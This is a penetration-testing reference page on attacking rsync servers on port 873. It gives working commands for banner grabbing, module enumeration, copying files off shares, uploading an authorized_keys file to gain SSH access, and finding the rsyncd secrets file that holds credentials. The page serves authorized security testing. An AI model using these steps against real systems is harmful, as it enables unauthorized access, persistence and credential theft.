873 - Pentesting Rsync

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Basic Information

From wikipedia:

rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers by comparing the modification timesand sizes of files.[3] It is commonly found on Unix-like operating systems. The rsync algorithm is a type of delta encoding, and is used for minimizing network usage. Zlib may be used for additional data compression,[3] and SSH or stunnel can be used for security.

Default port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeration

Banner & Manual communication

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy        	
NAS_Public     	
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Enumerating Shared Folders

Rsync modules are recognized as directory shares that might be protected with passwords. To identify available modules and check if they require passwords, the following commands are used:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific credentials, indicated by an "Access Denied" message.

Brute Force

Manual Rsync Usage

Upon obtaining a module list, actions depend on whether authentication is needed. Without authentication, listing and copying files from a shared folder to a local directory is achieved through:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

This process recursively transfers files, preserving their attributes and permissions.

With credentials, listing and downloading from a shared folder can be done as follows, where a password prompt will appear:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

To upload content, such as an authorized_keys file for access, use:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

To locate the rsyncd configuration file, execute:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Within this file, a secrets file parameter might point to a file containing usernames and passwords for rsyncd authentication.

References

https://www.smeegesec.com/2016/12/pentesting-rsync.html